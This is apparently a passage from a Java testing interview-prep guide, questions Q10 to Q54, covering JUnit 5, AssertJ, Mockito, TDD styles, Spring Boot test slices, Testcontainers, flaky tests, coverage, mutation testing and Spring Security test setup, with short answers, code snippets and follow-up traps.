Q10 How do tags, conditions and disabling tests work in JUnit 5? BASIC

`@Tag("slow")` labels tests so build tools can include or exclude them. Conditional annotations such as `@EnabledOnOs`, `@EnabledIfEnvironmentVariable`, `@EnabledForJreRange` and `@DisabledIf` toggle execution, and `@Disabled` skips unconditionally.

- Maven: `-Dgroups=fast` / `-DexcludedGroups=slow` (Surefire), or Gradle `useJUnitPlatform { includeTags("fast") }`.
- Assumptions (`assumeTrue`) abort a test, reported as skipped, not failed.
- Always put a reason in `@Disabled("JIRA-123")`.

FOLLOW-UP TRAPS

- **Failed assumption vs failed assertion?** Assumption aborts (skipped), assertion fails.
- **Is `@Ignore` still valid?** It is JUnit 4 only; Jupiter uses `@Disabled`.

#junit5 #tags #conditions

Q11 What are @TempDir, TestInfo and @RepeatedTest used for? INTERMEDIATE

`@TempDir` injects a temporary directory deleted after the test, `TestInfo` gives display name and tags, and `@RepeatedTest(n)` re-runs a test n times with `RepetitionInfo`.

- `@TempDir` works on fields (per class or per test) and parameters, typed `Path` or `File`.
- `@RepeatedTest` is useful when diagnosing flaky behaviour, not as a cure.
- `@TestMethodOrder(OrderAnnotation.class)` exists, but order dependence is a smell.

FOLLOW-UP TRAPS

- **Is the temp dir shared between tests?** Not for a parameter or instance field; a `static` field shares one per class.
- **Are test methods run in a fixed order?** Deterministic but intentionally non-obvious by default.

#junit5 #temp-dir #repeated-test

Q12 What is @TestInstance and when should you change the default? INTERMEDIATE

By default (`PER_METHOD`) JUnit creates a new instance for each test. `@TestInstance(PER_CLASS)` creates one instance per class, allowing non-static `@BeforeAll`/`@AfterAll` and `@MethodSource` factories.

- Change it for expensive shared setup or when using Kotlin or `@Nested` with `@BeforeAll`.
- Cost: instance fields become shared mutable state, so tests may couple.
- Set globally with `junit.jupiter.testinstance.lifecycle.default=per_class`.

FOLLOW-UP TRAPS

- **Does `PER_CLASS` make tests run in parallel?** No, parallelism is configured separately.
- **Is a field reset between tests under `PER_CLASS`?** No, you must reset it in `@BeforeEach`.

#junit5 #lifecycle #test-instance

Q13 How does parallel test execution work in JUnit 5? ADVANCED

Enable `junit.jupiter.execution.parallel.enabled=true`, then choose mode (`same_thread` or `concurrent`) per class or method; the platform runs them on a `ForkJoinPool` strategy. Use `@ResourceLock`

for shared resources and `@Execution` to opt in/out.

- Config via `junit-platform.properties`.
- Static state, shared DB rows, files and ports are the usual causes of failures once parallel.
- Surefire `forkCount` / `parallel` is a separate, process-level mechanism.

FOLLOW-UP TRAPS

- **Is `@BeforeAll` thread-safe automatically?** It runs once per class, but shared static state touched by tests still needs protection.
- **Does Spring's context cache help parallel runs?** Contexts are cached and shared, so tests mutating context state can interfere.

#junit5 #parallel

Q14 Why use AssertJ instead of plain JUnit assertions? BASIC

AssertJ offers a fluent, discoverable API with rich failure messages: `assertThat(actual).isEqualTo(...)` with chained type-specific checks for strings, collections, optionals, dates and exceptions.

```
assertThat(users)
    .filteredOn(u -> u.age() > 18)
    .extracting(User::name)
    .containsExactlyInAnyOrder("Ann", "Bob");
assertThatThrownBy(() -> service.find(0))
    .isInstanceOf(NotFoundException.class)
    .hasMessageContaining("0");
```

- `usingRecursiveComparison()` compares objects field by field without `equals`.
- `SoftAssertions` / `assertSoftly` collects failures like `assertAll`.
- Spring Boot starter-test ships AssertJ and Hamcrest.

FOLLOW-UP TRAPS

- **Does `assertThat(x)` without a terminal check fail?** No, it silently passes; a dangling `assertThat(x)` verifies nothing.
- **`containsExactly` vs `containsExactlyInAnyOrder`?** First checks order too.

#assertj #assertions

Q15 How does recursive comparison in AssertJ differ from equals? INTERMEDIATE

`usingRecursiveComparison()` compares fields reflectively, ignoring the class's `equals`, so it works on types that do not override it and reports the exact differing path.

- Configure with `ignoringFields`, `ignoringFieldsMatchingRegexes`, `comparingOnlyFields`, `withComparatorForType`.
- By default, differing types with identical fields are considered equal unless `withStrictTypeChecking()`.
- Useful for DTO/entity mapping tests with generated ids or timestamps.

FOLLOW-UP TRAPS

- **Does it call `equals` on nested objects?** Not by default; use `usingOverriddenEquals()` to change that.
- **How to ignore generated IDs?** `ignoringFields("id", "createdAt")`.

#assertj #recursive-comparison

Q16 List the types of test doubles. BASIC

Gerard Meszaros' taxonomy: dummy, stub, spy, mock and fake.

- Dummy: passed to fill a parameter, never used.
- Stub: returns canned answers.

- Spy: a real or recording object that remembers calls.
- Mock: pre-programmed with expectations and verifies interactions.
- Fake: working lightweight implementation (in-memory repository, H2).

Mockito calls everything a "mock", but a stubbed-only mock acts as a stub.

FOLLOW-UP TRAPS

- **Is an H2 in-memory DB a fake or a mock?** A fake, a real but simplified implementation.
- **Stub vs mock verification?** Stubs support state verification; mocks verify behaviour (calls).

#test-doubles #dummy #stub #fake

Q17 State vs behaviour verification: which should you prefer? INTERMEDIATE

Prefer asserting observable outcomes (return values, state, persisted data) over verifying internal calls. Behaviour verification is justified for side effects that have no observable result, such as sending an email.

- Over-verifying couples tests to implementation, so refactors break tests.
- Query methods should be stubbed, commands should be verified.
- Fakes give state-based tests without brittle `verify` chains.

FOLLOW-UP TRAPS

- **Should every mock call be verified?** No; verifying stubbed query calls is redundant and brittle.
- **Is `verifyNoMoreInteractions` a good default?** Usually not; it makes tests fragile.

#test-doubles #design #mockist

Q18 What is the difference between mock and spy in Mockito? BASIC

A mock replaces all behaviour: methods return defaults (`null`, `0`, empty collections/Optional) unless stubbed. A spy wraps a real object, calling real methods unless stubbed.

- `spy(realObject)` copies the instance state at creation; the spy is a different object from the original.
- Stub spies with `doReturn(x).when(spy).method()`, because `when(spy.method())` invokes the real method first.
- A spy signals a design smell (partial mocking); prefer extracting a collaborator.

FOLLOW-UP TRAPS

- **Does mutating the original object after `spy(original)` affect the spy?** No, the spy is a copy.
- **Why `doReturn` for spies?** `when(spy.m())` executes the real `m()`, which may throw or have side effects.

#mockito #mock #spy

Q19 How do you use @Mock, @InjectMocks and MockitoExtension? BASIC

`@ExtendWith(MockitoExtension.class)` initializes `@Mock` and `@Spy` fields and builds the `@InjectMocks` object, trying constructor injection first, then setter, then field injection by type and name.

```
@ExtendWith(MockitoExtension.class)
class OrderServiceTest {
    @Mock PaymentClient payments;
    @InjectMocks OrderService service;

    @Test void charges() {
        when(payments.charge(10)).thenReturn(true);
        assertTrue(service.pay(10));
    }
}
```

- Failure to inject is silent when the strategy fails (a field stays `null`); prefer explicit constructor creation when in doubt.

- JUnit 4 equivalent: `MockitoJUnitRunner` or `MockitoAnnotations.openMocks`.

FOLLOW-UP TRAPS

- **If constructor injection cannot find a mock for a parameter?** Mockito passes `null` for that parameter.
- **Does `@InjectMocks` use field injection after constructor injection?** No, it picks the first successful strategy.

#mockito #injectmocks #junit5

Q20 How do stubbing styles differ: when/thenReturn, doReturn, BDDMockito? INTERMEDIATE

`when(m.call()).thenReturn(x)` is the common form. `doReturn/doThrow/doNothing/doAnswer().when(m).call()` is required for void methods and spies. `BDDMockito.given(...).willReturn(...)` and `then(m).should()` are aliases with given-when-then wording.

- Chain consecutive results: `thenReturn(a, b, c)` or `thenThrow(...)`.
- `thenAnswer` computes from arguments.
- Later stubbing of the same call overrides earlier.

FOLLOW-UP TRAPS

- **Can `when(voidMethod())` compile?** No; use `doThrow(...).when(mock).voidMethod()`.
- **Which stub wins when two overlap?** The last one declared for matching args.

#mockito #stubbing #bdd

Q21 How do argument matchers work and what is the all-or-nothing rule? INTERMEDIATE

Matchers such as `any()`, `eq()`, `anyString()`, `argThat()` and `isNull()` match arguments flexibly. If one argument uses a matcher, all arguments in that call must use matchers; wrap raw values with `eq()`.

```
when(repo.find(anyLong(), eq("ACTIVE"))).thenReturn(user);
// invalid: when(repo.find(anyLong(), "ACTIVE"))  -> InvalidUseOfMatchersException
```

- Mockito 2+: `any(Class)` is type-checking and does not match `null`; `any()` matches anything including null.
- `anyString()` does not match `null` in Mockito 2+.

FOLLOW-UP TRAPS

- **Does `anyString()` match `null`?** No (Mockito 2+); use `any()` or `isNull()`.
- **Can you extract a matcher into a variable?** No, matchers register on call; extract into a method that returns the matcher call instead.

#mockito #matchers

Q22 How does verify work, and what do times/never/inOrder do? INTERMEDIATE

`verify(mock).method(args)` checks exactly one call with matching arguments. Modes: `times(n)`, `never()`, `atLeast(n)`, `atMost(n)`, `timeout(ms)`. `InOrder` checks relative order across mocks.

```
InOrder order = inOrder(audit, repo);
order.verify(audit).start();
order.verify(repo).save(any());
verifyNoMoreInteractions(repo);
```

- `verifyNoInteractions(mock)` asserts the mock was never touched.
- `verify` after the fact does not require stubbing.

FOLLOW-UP TRAPS

- **Does plain `verify(m).x()` accept two calls?** No, default is `times(1)` and fails on two.
- **Does `inOrder` require verifying every call?** No, only the ones you list, in relative order.

#mockito #verify

Q23 What does ArgumentCaptor do and when is it better than a matcher? INTERMEDIATE

`ArgumentCaptor` captures the actual argument passed to a mock so you can assert on its fields, which is better than `argThat` when the object is complex or built inside the code under test.

```
var captor = ArgumentCaptor.forClass(Email.class);
verify(mailer).send(captor.capture());
assertThat(captor.getValue().to()).isEqualTo("a@x.com");
```

- `@Captor` annotation works with the extension.
- `getAllValues()` returns every capture across calls.
- Do not capture inside stubbing (`when`); use it with `verify`.

FOLLOW-UP TRAPS

- **Is the captured object a copy?** No, it is the same reference; later mutation changes it.
- **Does `capture()` work as a stub matcher?** Technically yes but it is discouraged by Mockito docs.

#mockito #argumentcaptor

Q24 What are Mockito strict stubs and UnnecessaryStubbingException? INTERMEDIATE

With `MockitoExtension` the default strictness is `STRICT_STUBS`: an unused stub fails the test with `UnnecessaryStubbingException`, and a stubbed call made with different arguments raises `PotentialStubbingProblem`.

- Keeps tests clean by removing dead setup.
- Relax per stub with `lenient().when(...)` or per class via `@MockitoSettings(strictness = Strictness.LENIENT)`.
- Strict stubs also make `verify` of stubbed calls redundant.

FOLLOW-UP TRAPS

- **Does strictness apply when using `mock()` without the extension?** No, only with the extension/rule/session.
- **Why `lenient()` in shared `@BeforeEach`?** Not all tests use every stub; otherwise the unused ones fail.

#mockito #strictness #strict-stubs

Q25 What are Mockito's default answers and deep stubs? ADVANCED

Default answer `RETURNS_DEFAULTS` gives `null`, `0`, `false`, empty collections and empty `Optional`/`Stream`. `RETURNS_DEEP_STUBS` returns mocks of return types to allow chained stubbing like `when(a.b().c()).thenReturn(x)`.

- `RETURNS_SMART_NULLS` returns a descriptive exception-throwing object instead of null.
- Deep stubs usually signal a Law of Demeter violation; use sparingly (builders, fluent APIs).
- Custom `Answer` for dynamic responses.

FOLLOW-UP TRAPS

- **What does a mocked `List<String>` method return by default?** An empty list, not `null`.
- **Do deep stubs work with generics?** Partly; generic return types may need explicit handling.

#mockito #answers #deep-stubs

Q26 Can Mockito mock final classes, static methods and constructors?

ADVANCED

Yes, with the inline mock maker, which is the default since Mockito 5. It uses instrumentation (Byte Buddy agent) to mock final classes/methods, `mockStatic` and `mockConstruction`.

```
try (var s = mockStatic(UUID.class)) {
    s.when(UUID::randomUUID).thenReturn(FIXED);
    assertEquals(FIXED, UUID.randomUUID());
}
```

- Static mocks are thread-local and must be closed (try-with-resources) or they leak into other tests.
- Mockito 4 and earlier: add `mockito-inline` artifact.
- Java 21+ warns about dynamic agent loading; configure `-javaagent` for Mockito explicitly in future-proof builds.
- Prefer wrapping statics behind an injectable interface.

FOLLOW-UP TRAPS

- **Is a static mock visible to other threads?** No, it is only active in the thread that created it.
- **What if you forget to close `MockedStatic`?** Registering again throws, and later tests may see the mock.

#mockito #static #final #inline-mock-maker

Q27 Why can't Mockito mock equals/hashCode, and what else cannot be stubbed?

ADVANCED

Mockito cannot stub or verify `equals()` and `hashCode()`, as it relies on them internally. Private methods are not mockable, and native methods and some JDK internals are restricted even with the inline maker.

- Constructor logic of a mocked class is skipped (objenesis), so field initializers do not run.
- Mocking value objects, collections or `String` is a smell: use real instances.
- Don't mock types you don't own; wrap them in an adapter and test the adapter via integration test.

FOLLOW-UP TRAPS

- **Are field initializers of a mocked class executed?** No, objenesis bypasses constructors.
- **Should you mock `List`?** Almost never; use a real list.

#mockito #limitations

Q28 What is TDD and what is the red-green-refactor cycle?

BASIC

Test-driven development writes a failing test first (red), writes the minimal code to pass (green), then cleans up with tests as the safety net (refactor).

- Benefits: design pressure toward small, decoupled units; built-in regression suite; focus.
- Costs: learning curve, poor fit for exploratory spikes or heavy UI work.
- Related: BDD (given-when-then, behaviour naming), ATDD (acceptance test first).

FOLLOW-UP TRAPS

- **Does TDD mean 100% coverage?** No, coverage is a by-product, not the goal.
- **Why must you see the test fail first?** To prove the test can fail and tests the intended behaviour.

#tdd #red-green-refactor

Q29 Classicist versus mockist (London) TDD: what is the difference?

INTERMEDIATE

The Detroit/classicist style uses real collaborators where cheap and asserts on state. The London/mockist style mocks collaborators and drives design outside-in by verifying interactions.

- Mockist gives fast isolated tests and discovers interfaces early, but is more coupled to implementation.
- Classicist tests survive refactoring better but failures point to a wider area.

- Most teams mix: fakes or real objects for domain, mocks at architectural boundaries.

> **FOLLOW-UP TRAPS**
> - **Which is "correct"?** Neither; choose per boundary.
> - **When is mocking a domain object harmful?** When it forces tests to mirror internal call sequences.

#tdd #london-school #classicist

Q30 What makes a good unit test (FIRST, AAA, naming)? BASIC

FIRST: Fast, Independent, Repeatable, Self-validating, Timely. Structure with Arrange-Act-Assert (or Given-When-Then), test one behaviour, and name the test by behaviour, such as `rejectsExpiredToken`.

- No logic (loops, conditionals) in tests.
- One logical assertion; `assertAll` groups related checks.
- Test public behaviour, not private methods.
- Avoid shared mutable fixtures and order dependence.

> **FOLLOW-UP TRAPS**
> - **Should you test private methods?** No, test them through public behaviour; extract a class if complex.
> - **Is "one assert per test" literal?** No, one concept; several asserts on the same outcome are fine.

#best-practices #aaa #first

Q31 What is the test data builder pattern and how does it compare with Object Mother? INTERMEDIATE

A test data builder provides a fluent object with valid defaults where each test overrides only what matters. An Object Mother is a factory with named canned instances (`Users.admin()`), which explode in variants over time.

```
class UserBuilder {
    private String name = "Ann"; private int age = 30;
    UserBuilder age(int a) { this.age = a; return this; }
    User build() { return new User(name, age); }
}
// new UserBuilder().age(17).build()
```

- Keeps tests resilient when constructors change (one place to fix).
- Combine: mother methods return pre-configured builders.

> **FOLLOW-UP TRAPS**
> - **Why not Lombok `@Builder` in production class for tests?** It forces a production API for tests and lacks valid defaults.
> - **Should defaults be random?** Prefer deterministic defaults, optionally random with logged seed.

#test-data-builder #object-mother

Q32 What does @SpringBootTest do, and what are its costs? BASIC

`@SpringBootTest` bootstraps the full `ApplicationContext` (finds `@SpringBootApplication`) for integration tests. `webEnvironment` selects `MOCK` (default, MockMvc), `RANDOM_PORT`, `DEFINED_PORT` or `NONE`.

- Slow startup, so contexts are cached by configuration key across test classes.
- `@MockBean` / `@SpyBean` (Spring Boot 3.4+: `@MockitoBean` / `@MockitoSpyBean`) alter the cache key and force new contexts.
- Use `TestRestTemplate`, `WebTestClient` or `@LocalServerPort` with a real port.

FOLLOW-UP TRAPS

- **Does `RANDOM_PORT` start a real server?** Yes, an embedded server on a random port.
- **Why do many `@MockBean` variations slow the build?** Each distinct set creates a new cached context.

#spring-boot #springboottest

Q33 What does @WebMvcTest load, and how do you use it? INTERMEDIATE

`@WebMvcTest(Controller.class)` loads only the MVC slice: controllers, `@ControllerAdvice`, converters, filters and security config for web, but not `@Service`, `@Repository` or `@Component` beans. Collaborators are supplied via `@MockBean` / `@MockitoBean`, and `MockMvc` is auto-configured.

```
@WebMvcTest(UserController.class)
class UserControllerTest {
    @Autowired MockMvc mvc;
    @MockBean UserService service;

    @Test void returns404() throws Exception {
        when(service.find(1L)).thenThrow(new NotFoundException());
        mvc.perform(get("/users/1")).andExpect(status().isNotFound());
    }
}
```

FOLLOW-UP TRAPS

- **Does it test serialization and validation?** Yes, Jackson and Bean Validation run since the MVC stack is real.
- **Why `NoSuchBeanDefinitionException` for a service?** The slice does not scan services; mock them.

#spring-boot #webmvctest #mockmvc

Q34 What is @DataJpaTest and what does it configure? INTERMEDIATE

`@DataJpaTest` loads JPA repositories, entities, `EntityManager`, `TestEntityManager` and Flyway/Liquibase, replaces the `DataSource` with an embedded DB, and wraps each test in a transaction that rolls back.

- Use `@AutoConfigureTestDatabase(replace = NONE)` with Testcontainers to run on the real DB engine.
- Services and controllers are not loaded.
- Rollback hides flush issues: call `entityManager.flush()` and `clear()` to force SQL and re-read.

FOLLOW-UP TRAPS

- **Why does an H2 test pass but production fails?** Dialect and feature differences; test against the real engine via Testcontainers.
- **Does the test-level transaction commit?** No, it rolls back unless `@Commit`.

#spring-boot #datajpatest #jpa

Q35 Which other Spring Boot test slices exist? INTERMEDIATE

`@JsonTest`, `@WebFluxTest`, `@DataJdbcTest`, `@DataMongoTest`, `@DataRedisTest`, `@JdbcTest`, `@RestClientTest` and `@JooqTest` each load only the relevant auto-configuration.

- Slices are faster and expose wiring mistakes in the layer under test.
- Add extra beans with `@Import`.
- Custom slice annotations combine `@TypeExcludeFilters` and `@AutoConfigure...`.

FOLLOW-UP TRAPS

- **Does `@RestClientTest` start a server?** No, it uses `MockRestServiceServer` to simulate responses.
- **Do slices share contexts?** Only with identical configuration, so each slice type usually has its own.

#spring-boot #slices

Q36 How do @MockBean and @Mock differ?

INTERMEDIATE

`@Mock` creates a plain Mockito mock outside Spring. `@MockBean` creates a mock and registers it in the Spring context, replacing any bean of that type. Boot 3.4 deprecates it in favour of `@MockitoBean` (Spring Framework 6.2).

- `@MockBean` mocks are reset after each test.
- Different `@MockBean` sets produce different cache keys, so contexts are recreated.
- Prefer plain `@Mock` with constructor injection for unit tests to avoid Spring entirely.

FOLLOW-UP TRAPS

- **Can `@Mock` be injected into a Spring bean automatically?** No, only `@MockBean` / `@MockitoBean` participate in the context.
- **Does `@MockBean` work on a bean already proxied?** Yes but proxying and AOP effects need care.

#spring-boot #mockbean #mockito

Q37 How do you test Spring Security with MockMvc?

INTERMEDIATE

Use `spring-security-test`: `@WithMockUser(roles = "ADMIN")`, `@WithUserDetails`, or request post-processors such as `jwt()`, `httpBasic()` and `csrf()`.

- `@WebMvcTest` includes the security filter chain; state-changing requests need `.with(csrf())` unless CSRF is disabled.
- Test both allowed and denied paths (401 vs 403).
- Method security (`@PreAuthorize`) needs a context that enables it, not a plain unit test.

FOLLOW-UP TRAPS

- **Why does a POST return 403 in a test?** Missing CSRF token.
- **401 vs 403?** 401 is unauthenticated, 403 authenticated but not authorized.

#spring-security #mockmvc

Q38 What is Testcontainers and why use it?

INTERMEDIATE

Testcontainers starts disposable Docker containers (PostgreSQL, Kafka, Redis) from tests, so integration tests run against the real engine rather than a fake like H2.

```
@Testcontainers
@SpringBootTest
class RepoIT {
    @Container @ServiceConnection
    static PostgreSQLContainer<?> pg = new PostgreSQLContainer<>("postgres:16");
}
```

- Spring Boot 3.1+ `@ServiceConnection` wires properties automatically; before that use `@DynamicPropertySource`.
- A static `@Container` is shared by all tests in the class; instance field means one per test.
- Needs Docker in CI; Ryuk container cleans up leaked containers.

FOLLOW-UP TRAPS

- **Do containers restart per test method?** Only if the field is non-static.
- **How to speed up many test classes?** Singleton container pattern or `withReuse(true)` (local dev only).

#testcontainers #docker #integration-test

Q39 How do you manage database state between integration tests? INTERMEDIATE

Options: roll back each test's transaction (`@Transactional`), truncate tables in `@BeforeEach`, recreate a Flyway schema, or reuse a template database. Pick based on whether the code under test commits.

- `@Transactional` tests hide bugs involving real commits, lazy loading outside a session and `REQUIRES_NEW`.
- A test-side `@Transactional` does not roll back work done on another thread (e.g. `RANDOM_PORT` server).
- Use `@Sql` scripts for fixtures; avoid dependence on pre-seeded shared data.

FOLLOW-UP TRAPS

- **Does `@Transactional` on a `RANDOM_PORT` test roll back the HTTP call's changes?** No, the server runs in another thread and transaction.
- **Is `@DirtiesContext` a data cleanup tool?** No, it discards the context at high cost.

#integration-test #database #test-isolation

Q40 What is contract testing and how does Spring Cloud Contract or Pact work? ADVANCED

Contract testing verifies that a consumer's expectations of a provider's API and the provider's actual behaviour agree, without deploying both together.

- Consumer-driven (Pact): consumers publish expectations to a broker; the provider verifies them in CI. `can-i-deploy` gates releases.
- Spring Cloud Contract (provider-driven): contracts in Groovy/YAML generate provider tests and consumer stubs (WireMock).
- Catches breaking changes (renamed field, status code) cheaply compared to E2E.
- Does not test business logic of either side.

FOLLOW-UP TRAPS

- **Is contract testing a replacement for provider unit tests?** No, it checks the interface only.
- **Who owns the contract in Pact?** The consumer defines, the provider verifies.

#contract-testing #pact #spring-cloud-contract

Q41 Why do flaky tests happen and how do you fix them? INTERMEDIATE

A flaky test passes and fails with no code change. Typical causes: timing and `Thread.sleep`, shared state or ordering, real time/randomness, concurrency races, external services, and resource limits.

- Fix the cause: inject `Clock`, use `Awaitility` for async, isolate data, seed randomness, use fakes for remote services.
- Quarantine a flaky test quickly (tag it, track it) rather than blindly rerunning.
- Retries (Surefire `rerunFailingTestsCount`) mask, not solve.
- Detect via repeated runs, random ordering and CI trend dashboards.

FOLLOW-UP TRAPS

- **Is `Thread.sleep(1000)` an acceptable wait?** No; it is either too slow or too short. Poll with a timeout.
- **Does retrying failing tests make a suite reliable?** It hides the signal and makes failures acceptable.

#flaky-tests #reliability

Q42 How do you test time-dependent code? INTERMEDIATE

Inject a `java.time.Clock` instead of calling `Instant.now()` or `LocalDate.now()` directly; tests use `Clock.fixed(...)` or a mutable test clock.

```
Clock clock = Clock.fixed(Instant.parse("2026-01-01T00:00:00Z"), ZoneOffset.UTC);
var service = new TokenService(clock);
assertTrue(service.issue().expiresAt().isAfter(clock.instant()));
```

- `LocalDate.now(clock)` overloads exist on all `java.time` types.
- Mocking `Instant.now()` statically is a last resort.
- For scheduled work, extract logic from `@Scheduled` methods and call it directly.

FOLLOW-UP TRAPS

- **Which zone should a fixed clock use?** Explicit UTC to avoid developer-machine dependence.
- **Does `Clock.fixed` ever advance?** No; create a custom `Clock` subclass to simulate passing time.

#time #clock

Q43 How do you test asynchronous and concurrent code? ADVANCED

Make the code deterministic where possible (inject an `Executor` that runs inline), and otherwise coordinate with latches/futures and poll with Awaitility, never with fixed sleeps.

```
await().atMost(Duration.ofSeconds(2))
       .untilAsserted(() -> assertThat(repo.count()).isEqualTo(1));
```

- Use `CountDownLatch` / `CyclicBarrier` to maximize contention in race tests.
- Run the test many times (`@RepeatedTest`) to improve odds of exposing races; passing proves little.
- Tools: jcstress for memory-model tests, Lincheck, `ExecutorService` shutdown in `@AfterEach`.
- Exceptions on other threads do not fail the test automatically; collect and rethrow.

FOLLOW-UP TRAPS

- **If an assertion fails in a worker thread, does JUnit fail?** No, you must propagate it to the test thread.
- **Does one green run prove thread safety?** No, absence of failure is not evidence.

#concurrency #awaitility #async

Q44 How do you test logging, exceptions and void methods? BASIC

For void methods assert on side effects: collaborator calls (`verify`), state changes, or captured output. For exceptions use `assertThrows` / `assertThatThrownBy`; for logs use a test appender (Logback `ListAppender`) or `OutputCaptureExtension`.

- Do not assert log text unless logging is a requirement.
- `@ExtendWith(OutputCaptureExtension.class)` gives a `CapturedOutput` parameter in Spring Boot.
- `doThrow` on a mock tests error paths.

FOLLOW-UP TRAPS

- **Can a try/catch with `fail()` replace `assertThrows`?** It works but is verbose and swallows subtype semantics.
- **Should tests check log messages?** Rarely; they are brittle.

#void #exceptions #logging

Q45 Code coverage versus test quality: what does coverage tell you? INTERMEDIATE

Coverage (line, branch, instruction via JaCoCo) tells you which code was executed, not whether behaviour was verified. High coverage with no assertions is worthless; low coverage reliably signals untested areas.

- Branch coverage is stronger than line coverage.
- Goodhart's law: a mandated percentage encourages assertion-free tests.
- Use thresholds as a floor on changed code (diff coverage), not a goal.
- Exclude generated code and trivial DTOs sensibly.

FOLLOW-UP TRAPS

- **Is 100% coverage bug-free?** No; code can run without asserting, and missing requirements are invisible.
- **JaCoCo with Mockito inline or Lombok?** Lombok needs `lombok.addLombokGeneratedAnnotation=true` so generated code is excluded.

#coverage #jacoco #quality

Q46 What is mutation testing and how does PIT work? ADVANCED

Mutation testing injects small defects (mutants) such as flipping `>` to `>=` or removing a call, and re-runs tests. A mutant that no test fails on has "survived", revealing a weak assertion. PIT (Pitest) is the main JVM tool.

- Mutation score = killed / total mutants, a better quality proxy than coverage.
- Slow, so run on changed classes or nightly (`withHistory`, `scmMutationCoverage`).
- Equivalent mutants (behaviour unchanged) cause false survivors.
- Plugin for JUnit 5: `pitest-junit5-plugin`.

FOLLOW-UP TRAPS

- **Does a covered line guarantee mutants die?** No, covered lines often survive because nothing asserts the effect.
- **Why not run PIT on every commit?** It multiplies test run time by the number of mutants.

#mutation-testing #pitest

Q47 How do you test with a real HTTP dependency: WireMock vs MockRestServiceServer? INTERMEDIATE

WireMock runs a real HTTP server with stubbed endpoints, so the full client stack (serialization, timeouts, retries, TLS) is exercised. `MockRestServiceServer` replaces the `RestTemplate` request factory in-process and is faster but skips the network layer.

- WireMock supports fault injection (delays, connection reset) to test resilience.
- `@RegisterExtension` WireMockExtension with a dynamic port; point base URL at it.
- Verify requests with `verify(postRequestedFor(urlEqualTo("/pay")))`.

FOLLOW-UP TRAPS

- **Does `MockRestServiceServer` test connection timeouts?** No, no real connection exists.
- **Is a hand-written stub a contract?** No, it can drift from the real API; pair with contract tests.

#wiremock #http-stubbing

Q48 What is the difference between @Mock-based unit tests and Spring slice tests for a service layer? INTERMEDIATE

Service classes with constructor injection should be tested as plain Java with Mockito and no Spring; slices are for verifying framework behaviours such as mapping, validation, transactions and serialization.

- Constructor injection makes `new OrderService(repo, clock)` possible without reflection.
- `@Transactional` on a service only works through the Spring proxy, so a plain unit test cannot verify transactional behaviour.
- Self-invocation and `private` methods also bypass proxies.

FOLLOW-UP TRAPS

- **Can a plain Mockito test prove `@Transactional` rolls back?** No, needs an integration test with a real transaction manager.
- **Why prefer constructor over field injection for testing?** No reflection or container is required.

#unit-test #service-layer #spring

Q49 How does JUnit 5 handle test execution order and how do Surefire and Failsafe differ? INTERMEDIATE

JUnit does not guarantee method order unless you set `@TestMethodOrder`. Surefire runs unit tests (`*Test`, `*Tests`, `Test*`) in the `test` phase; Failsafe runs `*IT` / `*ITCase` in `integration-test` and checks results in `verify`, so teardown still happens when tests fail.

- Run only integration tests: `mvn verify -DskipUTs` style flags or profiles.
- Gradle uses separate source sets and tasks for integration tests.
- Tests that rely on order should be merged into one scenario test.

FOLLOW-UP TRAPS

- **Why use `mvn verify` rather than `mvn integration-test`?** Failsafe fails the build in `verify`, after post-integration-test cleanup.
- **Is a default order stable between runs?** Deterministic but not obvious; do not depend on it.

#maven #surefire #failsafe #ordering

Q50 How do you test code that uses randomness, UUIDs or external IDs? BASIC

Inject the source: a `Random` with a fixed seed, a `Supplier<UUID>`, or an `IdGenerator` interface. Assert on properties (format, uniqueness) when exact values are not needed.

- `new Random(42)` is deterministic for a given JDK algorithm.
- For hashing and ordering tests, use fixed fixtures.
- Log the seed when using randomized or property-based tests (jqwik) so failures are reproducible.

FOLLOW-UP TRAPS

- **Is `Random(seed)` stable across JDK versions?** The `java.util.Random` algorithm is specified and stable; `ThreadLocalRandom` cannot be seeded.
- **When is property-based testing useful?** For invariants over wide input spaces, such as parse/format round trips.

#determinism #random

Scenarios

Q51 A test stubs `when(repo.findById(1L)).thenReturn(Optional.of(u))` but the code calls `findById(2L)`. What happens under strict stubs? INTERMEDIATE

With `MockitoExtension` (strict stubs) the call `findById(2L)` raises `PotentialStubbingProblem` because the mock was stubbed for different arguments. Without strictness it silently returns `Optional.empty()` (Mockito's default for `Optional`) and the test fails later with a confusing message.

- The strict message lists the stubbed and actual arguments, pointing straight at the mismatch.
- If the stub is never used, `UnnecessaryStubbingException` is reported at the end.

FOLLOW-UP TRAPS

- **What does an unstubbed `Optional` return type give?** `Optional.empty()`, not `null`.
- **How to allow it deliberately?** `lenient().when(...)` or `Strictness.LENIENT`.

#mockito #strict-stubs #scenario

Q52 What does this test print or fail with? INTERMEDIATE

```
List<String> real = new ArrayList<>();
List<String> spy = spy(real);
spy.add("a");
System.out.println(real.size() + " " + spy.size());
```

Output: `0 1`. `spy()` copies the instance, so `real` is untouched and only the spy's own state changes.

- To observe state on the original, assert on the spy itself.
- `when(spy.get(0)).thenReturn("x")` on an empty list throws `IndexOutOfBoundsException` because it calls the real `get(0)`; use `doReturn("x").when(spy).get(0)`.

FOLLOW-UP TRAPS

- **Does `spy` modify `real`?** No, it works on a copy.
- **Can you spy on a `final` class?** Yes with the inline mock maker (default in Mockito 5).

#mockito #spy #scenario

Q53 A `@BeforeEach` sets up stubs used by only some tests and the suite fails with UnnecessaryStubbingException. How do you fix it? BASIC

Move each stub into the tests that need it, or mark shared ones `lenient()`. Moving is better since it keeps tests self-explanatory; `lenient()` is acceptable for truly common defaults.

- Do not disable strictness globally; unused stubs are real dead code and often hide a bug (the code path was never executed).
- Alternative: build a helper method `stubHappyPath()` called explicitly.

FOLLOW-UP TRAPS

- **Is the failure reported on the test or the class?** Reported at the end of the test method in which the stub was unused.
- **Does `@MockitoSettings(strictness = LENIENT)` fix it?** Yes, but it hides future dead stubs.

#mockito #strict-stubs #setup #scenario

Q54 A controller test returns 403 for a POST even though the user has the right role. Why? INTERMEDIATE

CSRF protection is on by default in Spring Security, and `@WebMvcTest` includes the security filter chain. Add `.with(csrf())` to the request or disable CSRF in the security config for stateless APIs.

```
mvc.perform(post("/orders").with(csrf())
        .contentType(MediaType.APPLICATION_JSON).content("{}"))
   .andExpect(status().isCreated());
```

- If the role is wrong you would get 403 too; with no authentication at all, 401 (or a redirect to login for form login).

FOLLOW-UP TRAPS

- **GET also fails with 403?** Then it is authorization (role/authorities, `ROLE_` prefix), not CSRF.
- **Does `@WithMockUser(roles = "ADMIN")` grant `ROLE_ADMIN`?** Yes, the prefix is added.

#spring-security #csrf #webmvctest #scenario

